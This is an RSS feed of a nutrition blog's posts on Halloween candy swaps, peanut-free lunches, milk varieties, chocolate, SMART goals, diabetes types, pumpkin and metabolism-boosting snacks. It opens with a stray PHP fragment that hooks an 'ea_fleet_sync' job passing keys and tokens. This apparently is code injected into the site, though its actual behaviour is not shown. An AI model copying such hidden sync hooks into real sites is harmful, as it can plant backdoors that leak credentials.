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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Eileen F. – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Mon, 24 Oct 2016 02:08:37 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp Eileen F. – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Scary Candy Choices, a Guide to a Better Choice https://skinnygeneprojectnew.dreamsites.io/scary-candy-choices-guide-better-choice/ https://skinnygeneprojectnew.dreamsites.io/scary-candy-choices-guide-better-choice/#respond Mon, 24 Oct 2016 02:08:37 +0000 http://skinnygeneproject.dreamhosters.com/?p=2292 By Eileen Ferrer, Skinny Gene Nutritionist

Do you have a sweet tooth?  From time to time, I need my candy fix.  My weakness is taffy or anything chocolate.  Typically, I do not give into temptation; however, this is the time of orange and black, not to be mistaken with “Orange is the New Black,” but this is the season where there is no shortage of candy.  As orange and black themed packaging overloads the aisles of many stores, offices, and homes, there is temptation everywhere.  According to the National Retail Foundation, Americans purchase about 600 million pounds of candy each year for Halloween, which is equivalent to the weight of 6 Titanic ships.  The average of American households will spend $47 on Halloween candy.  So where does all that candy go?  Well, the average American will eat 3.4 pounds of candy over Halloween.  The consumption of this much candy is not good for your teeth or waistline, as most candies are high in added calories, sugar and fat.

Whether or not this is the one time out of the year you indulge in sweets as you pick your favorites from your child’s plastic pumpkin or from the desks of your co-workers, you do have options to make a healthier choice.  Here are a few popular Halloween candies that have been deemed a healthier or better option compared to their sweet counterparts.

Better Candy Choices

Reese’s Peanut Butter Cups vs. Snickers
Better Choice: Snickers

Reese’s Peanut Butter Cups has more protein, but compared to two fun size pieces of Snickers, Snickers contain less total fat, saturated fat, and 10 less calories.

Peanut M&M’s vs. Skittles
Better Choice: Peanut M&M’s

A snack size bag of Skittles contains 61 calories.  Though the same size bag of Peanut M&M’s contains more calories, 91 calories, it is lower on the glycemic index, and will release sugars slower into the bloodstream; whereas Skittles will spike your blood sugars at an increased rate.

Twix vs. Kit Kat
Better Choice: Kit Kat

A Kit Kat has 20 less calories, and less saturated fat and sodium.

Candy Corn vs. Tootsie Roll
Better Choice: It’s a tie.

Candy corn one of the most popular candy choices during Halloween, there is even a day designated to it; October 30th is National Candy Corn Day.  However, Tootsie Rolls and candy corn have the same nutritional value if you were to consume 26 pieces of candy corn or 6 pieces of the bite sized Tootsie Rolls.

Butterfinger or York Peppermint Pattie
Better Choice: York Peppermint Pattie

For three fun size York Peppermint Patties, it contains 150 calories, 3 grams of fat and 15 miligrams of sodium.  Two fun size Butterfinger bars contains 200 calories, 8 grams of fat, and 100 milligrams of sodium.

Starburst or Jolly Rancher
Better Choice: Jolly Rancher

Consuming three pieces of Starburst candies has fewer calories compared to a Jolly Rancher.  However, since Jolly Ranchers are hard candies it takes longer to finish, and you will be less likely to eat more. 

Sweet Tarts or Smarties
Better Choice: Smarties

Do you sometimes think who eats Smarties?  I know I do, and now you know why.  For an individual roll of Smarties it contains 25 calories, and 5 grams of sugar.  As for Sweet Tarts, it contains 50 calories and 13 grams of sugar for 8 pieces.

Pay Day vs. Milky Way
Better Choice: Milky Way

In two fun-size pieces of Milky Way, it contains 50% less fat and sodium.

Almond Joy vs. Mounds
Better Choice: Another tie.

It’s a tie between the two.  For each fund size Mounds and Almond Joy, they both contain about 80 calories, have equal amounts of fat, 4.5 grams, saturated fat, 3 grams, and carbohydrates, 10 grams.

While the average amount of candy consumed is more than three pounds during Halloween, just remember moderation is important.  You can curb your sweet tooth with juicy fruit, low-fat yogurt with honey, or dark chocolate if you need a chocolate kick.

 

 

 

 

]]> https://skinnygeneprojectnew.dreamsites.io/scary-candy-choices-guide-better-choice/feed/ 0 Oh Nuts!! Successfully going peanut-free https://skinnygeneprojectnew.dreamsites.io/oh-nuts-successfully-going-peanut-free/ https://skinnygeneprojectnew.dreamsites.io/oh-nuts-successfully-going-peanut-free/#respond Wed, 16 Sep 2015 00:05:27 +0000 http://skinnygeneproject.dreamhosters.com/?p=2458 By Eileen Ferrer, Skinny Gene Nutritionist

peanuts

Preparing for school, you may have had to go school shopping to purchase most or all of the items on what may seem like a never ending list of school supplies.  The list may bring up possible thoughts like.. Do they really need to use a protractor; my child is only in the first grade? However, I digress. But those lists don’t include foods appropriate to purchase for a nut-free classroom or school.

Many students are affected by nut allergies, specifically from peanuts. Peanut allergies are common amongst children, with several reports of deadly or near-lethal peanut-related incidences in previous years. Peanut proteins are the cause of allergic reactions that lead to symptoms such as, hives or shortness of breath, or more severe reactions like anaphylaxis. If you are allergic, peanuts in all varieties should be avoided at all times. Be careful, they can also be found in many prepared foods, ingredients, or in trace amounts if a product is manufactured in the facility that processes peanuts. Common foods to watch out for are sauces, baked goods, breakfast cereals, granola bars, trail mix, and candy bars.

A list of hidden names for peanuts compiled by Kids with Food Allergies, a division from the Asthma and Allergy Foundation of America, can be found here.

Many schools have combated against peanut allergies. Whether they have proclaimed to be a nut-free establishment or not, schools have provided students with an assortment of food alternatives to nuts. You can also come prepared with some of these nut-free lunch and snack ideas. Try a strawberry and low-fat cream cheese sandwich on whole wheat bread or a pizza roll up. For a quick snack try like air-popped popcorn or baked pita chips with hummus. If your child wants a peanut butter and jelly sandwich, there are a variety of butters made from seeds and soy beans out on the market to try.

Allergies are a serious concern for families, but don’t be worried because there is hope with many schools going the nut-free route and/or offering healthy alternatives for students. This is also a great time to be creative with your child in making new nut-free recipes for them and the entire family. So go nuts, or not.

]]> https://skinnygeneprojectnew.dreamsites.io/oh-nuts-successfully-going-peanut-free/feed/ 0 What Type of Milk is Right For You? https://skinnygeneprojectnew.dreamsites.io/what-type-of-milk-is-right-for-you/ https://skinnygeneprojectnew.dreamsites.io/what-type-of-milk-is-right-for-you/#respond Sun, 28 Jun 2015 23:16:51 +0000 http://skinnygeneproject.dreamhosters.com/?p=2440 By Eileen Ferrer, Skinny Gene Nutritionist

Happy National Dairy Month everyone!!! Raise a glass of your favorite milk and toast to the wonderful health benefits milk has to offer. Today, milk of all varieties can be found at your local supermarket. For those, like myself that can’t drink cow’s milk (but I can eat ice cream just fine), it’s great that I have my choice of non-dairy options. Taste, mouth feel or the visual effect of milk is your preference, so what type of milk is right for you?

Screen Shot 2015-07-06 at 3.57.42 PM

 

WHAT TYPE OF MILK IS RIGHT FOR YOU

Dairy milk is packed with nutrients that promote bone health, such as calcium, potassium, vitamin D and protein.

Calcium helps with building bones and teeth and aids in maintaining bone mass. In conjunction with calcium, vitamin D, which is usually fortified into milk, assists with the maintenance of appropriate levels of calcium and phosphorus. This ultimately helps to build and preserve healthy bone. Potassium maintains a healthy blood pressure, which is not only found in cow’s milk, but soymilk too.

The main types of dairy milk sold in stores are: whole, reduced-fat (2%), low-fat (1%) and non-fat milk.

Whole milk has a delicious rich and creamy texture, but it is the highest in fat. Typically, the benefit of whole milk is for toddlers after the age of 1 year until age 2 because the fat in whole milk can help with the development of their brain and nervous system.

In trying to reduce calories, 2% low-fat milk has all the benefits, but not all the fat. It is a popular substitution to whole milk. Going even lower in calories and fat is the low-fat 1% milk, which may be an option of your cutting back on daily calories. Low-fat 1% milk is still rich in calcium and vitamin D, but the taste may be significantly less milky. Lastly, non-fat also known as skim milk has about 45% less calories than whole milk, and still supplies all the same nutrients. Skim milk may be an option if you’re looking to avoid weight gain, but again the creamy, milky flavor is lacking.

NON- DAIRY SOURCES

Screen Shot 2015-07-06 at 4.04.39 PM

Like I mentioned I’m okay with dairy, but have a specific reaction to drinking milk by itself; therefore, I depend on the non-dairy sources.

One that has risen to popularity is almond milk. Almond milk has that nutty flavor that is slightly sweet. The best qualities of almond milk is that low in calories, and is fortified with calcium, vitamin A & D, and vitamin E that helps fight against UV damage. If you want to drink almond milk for the protein, it may not be the best option, as almond milk is low in protein. Also, it is higher in sodium.

Another, milk with a lot of popularity is coconut milk. It contains less calories and salt per serving, and on the plus side anything you put this milk with have that tasty coconut flavor. The fat in coconut milk is saturated, so be careful, and keep to the serving size.

Then there’s soy milk. It is low-fat and cholesterol-free, and usually fortified with calcium. However, like most non-dairy options, there is not as much protein as traditional cow’s milk.

Lastly, rice milk is a good option because it is the least likely to trigger an allergic reaction, and maybe a better option of you can’t drink any of the above. Rice milk is low fat, but has almost no protein.

Do you know what milk is right for you? Whatever your favorite is enjoy your glass of milk, and celebrate June for being National Dairy Month.

 

 

]]> https://skinnygeneprojectnew.dreamsites.io/what-type-of-milk-is-right-for-you/feed/ 0 Which is better? Comparing Salad Greens https://skinnygeneprojectnew.dreamsites.io/which-is-better-comparing-salad-greens/ https://skinnygeneprojectnew.dreamsites.io/which-is-better-comparing-salad-greens/#respond Fri, 29 May 2015 01:30:36 +0000 http://skinnygeneproject.dreamhosters.com/?p=2420 By Eileen Ferrer, Skinny Gene Nutritionist

I enjoy a good salad, but some beg to differ because they’re leaves. Leaves are delicious! Green leafy vegetables are excellent sources of vitamin A, C, K and folate. If you want to make a salad the options are endless, and the flavor contributions with different leafy greens can elevate the taste experience. Here’s the low down of a variety of salad greens to choose from, where some may be more nutritious than others.

Screen Shot 2015-05-21 at 6.12.23 PM

Screen Shot 2015-05-21 at 6.13.06 PM Screen Shot 2015-05-21 at 6.13.18 PM Screen Shot 2015-05-21 at 6.13.47 PM

]]> https://skinnygeneprojectnew.dreamsites.io/which-is-better-comparing-salad-greens/feed/ 0 Benefits of Chocolate https://skinnygeneprojectnew.dreamsites.io/benefits-of-chocolate/ https://skinnygeneprojectnew.dreamsites.io/benefits-of-chocolate/#respond Tue, 24 Feb 2015 05:34:36 +0000 http://skinnygeneproject.dreamhosters.com/?p=2372 By Eileen Ferrer, Skinny Gene Nutritionist

I LOVE chocolate in all its glory – milk, white, dark, with nuts, in liquid form, smothered on a piece of fruit, yum! But knowing that it can be good for my health is a definite plus. I would try to put it in everything, just like I do with chia seeds. However, it is not the quantity of chocolate you eat to access those health benefits, but the specific compounds in chocolate itself.

Truth is, chocolate is too good for us to be feared by us. It’s time to de-demonize this delectable treat, which has a long history of health benefits.

chocolate protest

 

Chocolate has an extensive history dating back thousands of years ago to the time of the Mayans and Aztec civilizations. Then it was introduced to Europe in the Middle Ages to be the chocolate we know today as a sweet, silky and delightful confection. In recent time, extensive research has been highlighted in various media outlets proclaiming links to reduced risks of heart attack, diabetes and stroke, as well as improving brain function. These health benefits are derived from cocoa beans of the cacao tree, where the principal compound of the cocoa bean is polyphenols.

Polyphenols act as an antioxidant in which they help the body’s cells against free radicals that are formed by everyday processes of the body such as, breathing and environmental contaminants (i.e. pollution or cigarette smoke). Furthermore, antioxidants from cocoa have anti-inflammatory, cardioprotective (protects the heart), antiheptoxic (protects the liver), antibacterial, antiviral, antiallergenic, and anticarcinogenic effects.

Within the polyphenol group, one nutrient abundant in cocoa and chocolate are flavonoids. Flavonoids are typically found in a variety of fruits and vegetables with the main type of flavonoids being flavanols. Flavanols are responsible for providing the strong and bitter taste of cocoa, which can be a familiar taste of dark chocolate where flavanols are most prevalent. It is these flavanols that have the positive effects on the heart by lowering blood pressure, improving blood flow to the brain and heart, and making blood platelets less sticky and able to clot.

In addition, it has been suggested that chocolate can help reduce belly fat. Though it can pack on the calories and the pounds if consumed in abundance, choosing dark chocolate may be a better option. Dark chocolate consumed moderately, one ounce three times a week, can possess the benefits of curbing appetite; therefore, reducing belly fat.

Most people like me need a chocolate fix once in a while, but we have to do so in moderation. Much of the commercial chocolate sold contains added fat, sugar, calories, and preservatives. But don’t feel guilty sneaking a little piece of dark chocolate, it can keep your heart healthy.

]]> https://skinnygeneprojectnew.dreamsites.io/benefits-of-chocolate/feed/ 0 Goal Setting for Success https://skinnygeneprojectnew.dreamsites.io/goal-setting-setting-success/ https://skinnygeneprojectnew.dreamsites.io/goal-setting-setting-success/#respond Wed, 28 Jan 2015 05:03:51 +0000 http://skinnygeneproject.dreamhosters.com/?p=2345 By Eileen Ferrer, Skinny Gene Nutritionist

Once I learned the definition of success, I knew I needed that in my life. To be successful is a goal I set for myself early on. For some, success can be measured in terms of awards, education or wealth. If I were to measure my success in wealth, I could count all my loose change I saved in a year and say I’m that much richer. However, success is not something I can measure in only a year or even know how to measure. My goal of being successful is definitely a work in progress, and continues to be one of my long-term goals.

Setting S.M.A.R.T Goals

goals quote

When setting long-term goals it is okay to be broad, and look at the big picture. You examine your life, and think about your career, finances, education, health or family, and see what needs to be improved. But when it comes to setting short-term goals it is very important to be specific and start off small. Start by having a plan. Create a one-week or five-year plan, make a to-do list or keep a diary of things you need to do to achieve your specific goal(s); revisions are always welcome. Furthermore, put emphasis on positivity. It is important to set positive goals to motivate you. So for example, along with being successful, my goal is to stay healthy (again, very broad). However, to be more specific, my health goal is to increase physical activity to lose five pounds in three months. I will achieve this by walking thirty minutes, three days a week, gradually increasing walking time to one hour every day. A pre-weight will be taken, and walks will be recorded in a daily journal to keep myself on track. By the end of three months, I will see if I’ve accomplished my goal of weight loss.

This goal was set using the concept of SMART goals. A SMART goal is a mnemonic that stands for:
S = Specific. Is your goal specific?
M = Measureable. Can you measure it?
A = Attainable. Is the goal something you can do/complete?
R = Realistic. Are you willing and able to work towards the goal?
T = Time. Is there a time frame?

My example of weight loss touches on all those elements. For additional help with goal setting, follow these tips:

  • Each goal should be a positive statement.
  • Make it a priority. If you have multiple goals, rate your goals by priority.
  • Put it in writing. You will be able to visually see them, and it gives the goal more power.
  • Keep it small. Having too large of a goal may feel like progress is just as small, but working towards the small goals can offer little rewards.

Whether you want to register for college, have glucose levels within normal limits or run a marathon, utilizing these goal setting tips can make your goals a successful reality.

]]> https://skinnygeneprojectnew.dreamsites.io/goal-setting-setting-success/feed/ 0 Naughty Foods On Our Nice List https://skinnygeneprojectnew.dreamsites.io/naughty-foods-nice-list/ https://skinnygeneprojectnew.dreamsites.io/naughty-foods-nice-list/#respond Sat, 20 Dec 2014 17:02:10 +0000 http://skinnygeneproject.dreamhosters.com/?p=2327 By Eileen Ferrer, Skinny Gene Nutritionist

All year long, you have been eating for your health. You have included more fruits and vegetables and cooked your own meals. But did the food you ate belong on the naughty or nice list? If you have been eating well all year, chances are your meal and snack options belong on the nice list. However, there are various misconceptions about certain food, like fat. Fat is notorious, and many people stay away as much as possible. Healthy fat like monounsaturated, polyunsaturated fats or omega-3 fats that come from olive oil, fish or nuts are actually good for you. Healthy fats can protect your heart and support overall health. There are more foods and/or ingredients that have gotten a bad reputation, but in actuality they are quite healthy (in moderation of course, always look at serving size).

Here’s a list of some “bad” foods you should be eating.

Print

 – Peanut butter. It is considered fattening. Peanut butter may be high in fat, but a little goes a long way, and a tablespoon will do. Peanut butter is a good source of protein, folate, and vitamin B.

– Red meat. Beef is full of saturated fat and is high in cholesterol, but lean cuts of beef are low-fat sources of protein and iron. Look for cuts that are deep red and have less marbling, which are the white spots of fat. Try flank or strip steak, sirloin or filet mignon.

– Chocolate (my kryptonite). Chocolate is high in sugar and fat, but in fact dark chocolate is best, and even has heart healthy benefits. Dark chocolate contains flavanols, which are antioxidants with a blood-thinning effect. Dark chocolate has also been shown to help with stress.

– Potatoes. They rank high on the glycemic index, which can increase blood sugars significantly. This is problematic for people with diabetes. However, potatoes are a good source of fiber, potassium, and vitamin C. Bake a potato and drizzle with olive oil. The fat from the olive oil will slow down the absorption of the potato’s carbohydrate, preventing the spike in blood sugars.

– Nuts. Nuts like peanut butter are full of fat. However, nuts contain unsaturated fat, the healthy kind. Depending on which nut it is they have added benefits, such as pistachios contain lutein and zeaxanthin, which are good for the eyes. Almonds provide vitamin E and walnuts have heart healthy omega-3 fats. Be careful with your portion size because they do provide a lot of calories, one ounce of nuts contain about 160 – 200 calories.

– Bread. I’ve heard bread is bad. That is the case when the bread is refined and highly processed, which is the typical white bread. Whole grain or 100% whole wheat bread is actually good and it is recommended by the Dietary Guidelines for Americans to make half the grains you consume whole grains.

 

Enjoy your holiday festivities with family, friends, and some food that is actually not that bad after all. Happy Holidays!

 

 

 

 

]]> https://skinnygeneprojectnew.dreamsites.io/naughty-foods-nice-list/feed/ 0 Fighting Diabetes- A Family Journey https://skinnygeneprojectnew.dreamsites.io/fighting-diabetes-family-journey/ https://skinnygeneprojectnew.dreamsites.io/fighting-diabetes-family-journey/#respond Wed, 19 Nov 2014 06:16:20 +0000 http://skinnygeneproject.dreamhosters.com/?p=2303 By Eileen Ferrer, Skinny Gene Nutritionist

There may be at least one person you know with diabetes.  I know a few.  But it really hits close to home when it is a family member who has it or some form of it.

Honestly, a few years ago I was not concerned with diabetes, nor concerned that I was on that road to acquiring it.  I would consider myself a healthy person.  I engage in physical activity, my weight is considered to be “normal,” lab results for fasting blood sugars always within normal limits.  However, it was only until recently that my non-existing concerns for diabetes finally became a reality.  I myself was not diagnosed with it, but I learned that my dad acquired prediabetes.  His laxed attitude towards his prediabetes diagnosis tinkered on that fine line of being one hemoglobin A1C result away from being diagnosed as type 2 diabetes; the thought of him getting type 2 diabetes scares me because of the complications that go along with poorly controlled diabetes.  Therefore, I made it my responsibility for us to learn as a family, my mom included, on what we can do to prevent him from getting type 2 diabetes, and be healthy overall.  Going through this learning process we learned that there are three main types of diabetes, plus prediabetes, and the various symptoms that are associated with this condition.

Types of Diabetes


Type 1 Diabetes Mellitus (TIDM)

TIDM usually diagnosed in children and young adults.  Only 5% of people with diabetes have type 1.  In T1DM, the body does not produce insulin because the organ that produces it, the pancreas, is no longer capable.  Insulin is a hormone that is needed to change sugar, starches and other foods into energy needed for daily life.  T1DM needs the help of insulin therapy, via daily injections with insulin pens or syringes or an insulin pump, and other treatments to manage blood sugars.

Type 2 Diabetes Mellitus (T2DM)

T2DM is the most common form of diabetes.  In T2DM, your body does not use insulin properly, which is called insulin resistance.   At first, your pancreas makes extra insulin to make up for it. Over time, the pancreas is not able to keep up and cannot make enough insulin to keep your blood glucose at normal levels, and the cells that need the glucose are starved for energy.  Moreover, having high blood sugars overtime can damage your eyes, nerves, kidneys, and the heart.  T2DM can be treated with lifestyle changes, such as increasing physical activity, oral medications i.e. pills or insulin.

Gestational Diabetes (GDM)

This occurs when a there is a presence of high blood glucose (sugar) during late pregnancy.  The prevalence of GDM is 9.2%.  Many women who have never had diabetes can get gestational diabetes.  There is no known cause; however, the theory involves the placenta and the hormones that help the baby develop.  The hormones can interfere with how insulin functions in the body, which is called insulin resistance.  Insulin resistance makes it difficult for insulin to be used in the body.  Since GDM occurs in the latter part of the pregnancy, the baby’s body has already formed; therefore, GDM does not cause the same birth defects that can be seen in babies whose mothers already had diabetes.  However, poorly treated GDM can harm the baby.  Since the pancreas is producing additional insulin that is not being used by the cells, blood sugars are still increased.  Insulin does not pass through the placenta, but any extra blood sugars can; giving the baby high blood sugar levels too.  The baby’s pancreas will make extra insulin to get rid of the extra blood sugars.  Since the baby is getting more energy than it needs for growth and development, the extra energy gets stored as fat; resulting in macrosomia or “fat” baby.  These babies are at risk for shoulder damage during birth, breathing problems.  As children, they are at risk for obesity, and as adults, there is a risk for developing T2DM.

What about Prediabetes?


Most people who develop type 2 diabetes, almost always have prediabetes. This occurs when glucose (sugar) levels are higher than normal, but not high enough to be diagnosed as diabetes.  Having prediabetes puts you at greater risk for developing T2Dm and heart disease.  If you have prediabetes, you should be checked for type 2 diabetes every one to two years.

The common symptoms of diabetes are:

  • Urinating often
  • Feeling very thirsty
  • Feeling very hungry – even though you are eating
  • Extreme fatigue
  • Blurry vision
  • Cuts/bruises that are slow to heal
  • Weight loss – even though you are eating more (type 1)
  • Tingling, pain, or numbness in the hands/feet (type 2)

These symptoms are typical of diabetes.  However, some people with type 2 diabetes have symptoms so mild that they go unnoticed.  Furthermore, there are no clear symptoms for prediabetes, and may only show some symptoms.  For women with gestational diabetes, they may have no symptoms at all.  The important message is to keep informed, know your body, be healthy and test your blood sugars.  As we go through this journey as a family, my dad is becoming more proactive, testing normal for his fasting blood sugars every morning, becoming more physically active with my mom, and slowly eating a little bit healthier.

]]> https://skinnygeneprojectnew.dreamsites.io/fighting-diabetes-family-journey/feed/ 0 Perks of Eating Pumpkin https://skinnygeneprojectnew.dreamsites.io/perks-eating-pumpkin/ https://skinnygeneprojectnew.dreamsites.io/perks-eating-pumpkin/#respond Tue, 14 Oct 2014 19:18:09 +0000 http://skinnygeneproject.dreamhosters.com/?p=2268  

By Eileen Ferrer, Skinny Gene Nutritionist

Perks of eating pumpkin

The golden leaves are falling, and cool breezes fill the night air, it is finally sweater weather; it’s fall.  In my case, I know fall has arrived when comments and pictures start filling my newsfeed on any social media site with what seems to be the most popular food item of the season, the pumpkin.  Once a year, pumpkin sweeps the nation, and many people indulge in anything pumpkin, like the very popular pumpkin spice latte.  However, many of these commercial food items are typically high calorie foods in the form of beverages and desserts.  Some of us may forget that the pumpkin is a very healthy fruit; yes it is a fruit that is low in calories, and contains a long list of health benefits, both inside and out.

The flesh of pumpkins is rich in vitamin A and vitamin C.  Vitamin A and C help with boosting your immune system, and vitamin A itself, promotes eye health, protecting them from degeneration and cataracts.  They also have carotenoids, beta-carotene, alpha carotene and lutein, where in the body, carotenoids convert into vitamin A that provide the added protection against heart disease, help fight off cancer-causing free radicals and helps prevent wrinkles.  Furthermore, beta-carotene contains antioxidants and anti-inflammatory properties helping with joint inflammation and arthritis.  Pumpkins are rich in fiber, promoting a healthy digestive system, and aids in maintaining blood sugars, and lowering cholesterol.  The list goes on as the great pumpkin contains the mineral magnesium that helps with migraines; potassium, shown to reduce the risk of high blood pressure; zinc, a mineral that helps build strong bones, keeps your immune system healthy, and aids in reproductive health.  Lastly, pumpkins have the chemical compound, L-tryptophan, triggering feelings of well-being and happiness, preventing depression.  This could be one explanation why people are happy when pumpkin-flavored food and beverages enter their lives during the fall.

Pop Some Pumpkin Seeds

However, it is not only the flesh of the pumpkin that provides healthful benefits, but the seeds are great too.  When you carve your pumpkin this Halloween, keep the seeds.  Give them a good rinse, and bake them for a quick and healthy snack.  Pumpkin seeds contain protein; consuming one ounce has seven grams of protein.  Also, pumpkin seeds are rich in essential fatty acids, which promote healthy skin and enhance brain power; and phytosterols that can lower risks for prostate cancer.  Pumpkin seeds also have additional vitamin A, magnesium, and zinc.

Pour a Pumpkin Spice Latte

The pumpkin definitely proves itself to be an amazing healthy fruit, and would definitely consider this to be a superfood.  This season is far from over, and pumpkins are here to stay, at least for awhile.  If you are craving that pumpkin spice latte, there is always a way to make a cheaper, lower calorie alternative.  Click here for the healthier version.

Enjoy a happy, healthy pumpkin season.

 

 

]]> https://skinnygeneprojectnew.dreamsites.io/perks-eating-pumpkin/feed/ 0 Art of Snacking https://skinnygeneprojectnew.dreamsites.io/art-snacking/ https://skinnygeneprojectnew.dreamsites.io/art-snacking/#respond Thu, 18 Sep 2014 17:50:17 +0000 http://skinnygeneproject.dreamhosters.com/?p=2240 Art of snackingArt has no boundaries and exists in many forms.  Art can be three dimensional objects, a song or a doodle on a meeting agenda.  Actions can be art forms as well.  I have many friends who would consider themselves masters at the art of bargain shopping.  But there is one action they have not mastered, and that is the “art of snacking.”  The art of snacking can be a benefit to your health, if snack foods are healthy choices.  You can actually snack in a way that boosts your metabolism, and not the pounds.

Snacking Leads to Boosting Your Metabolism

Metabolism is the process in which your body turns the food and beverages you consume into energy.  There are different factors, such as age and gender that affect metabolism, another is food.  Certain foods can facilitate an increase in metabolism and burn some of that unwanted calories and body fat.  Preparing your snacks should include some of these metabolism boosting foods and beverages, which include: egg whites, lean meats, water, grapefruit, chili peppers, green tea, milk (low- or non-fat), whole grains, and lentils.

  • Egg whites contain branched-chain amino acids that will speed up your metabolism and burn fat.
  • Lean meats and lentils are both rich in iron.  A diet low in iron can actually slow metabolism down by not efficiently burning calories.
  • Chili peppers and green tea contain chemical compounds, capsaicin in chilies and EGCG in green tea that also gives your metabolism a boost.
  • Consuming milk and other dairy products have been shown to metabolize fat more efficiently.
  • Whole grains are an excellent source of fiber.  It not only aids with keeping cholesterol and blood sugars low, it helps metabolism by taking longer for whole grains to break down during digestion.
  • Grapefruit has been shown to help with weight loss due to its effects on insulin, a fat-storage hormone, making it a great weight loss snack.
  • Lastly, I cannot stress enough the importance of water.  Living in Southern California, we are just starting to feel the heat, compared to Mt. Rushmore in South Dakota, where it is actually snowing.  But keeping hydrated is very important, even mild dehydration can slow down metabolism.

When you are feeling hungry and in need of a snack, take a few of these ingredients and think of them as beautiful colors of paint.  Your pot, pan or mixing bowl is your blank canvas, and what ends up on your plate is your very own masterpiece of art.  But if you are like me and have a hard time coloring inside the lines, click on the links below for recipes to boost your metabolism.

Spiced Green Tea Smoothie

Honey Grapefruit with Banana

Banana & Almond Butter Toast

Curried Egg Salad Sandwich

Ham, Sliced Pear & Swiss Sandwich

Sunflower Lentil Spread

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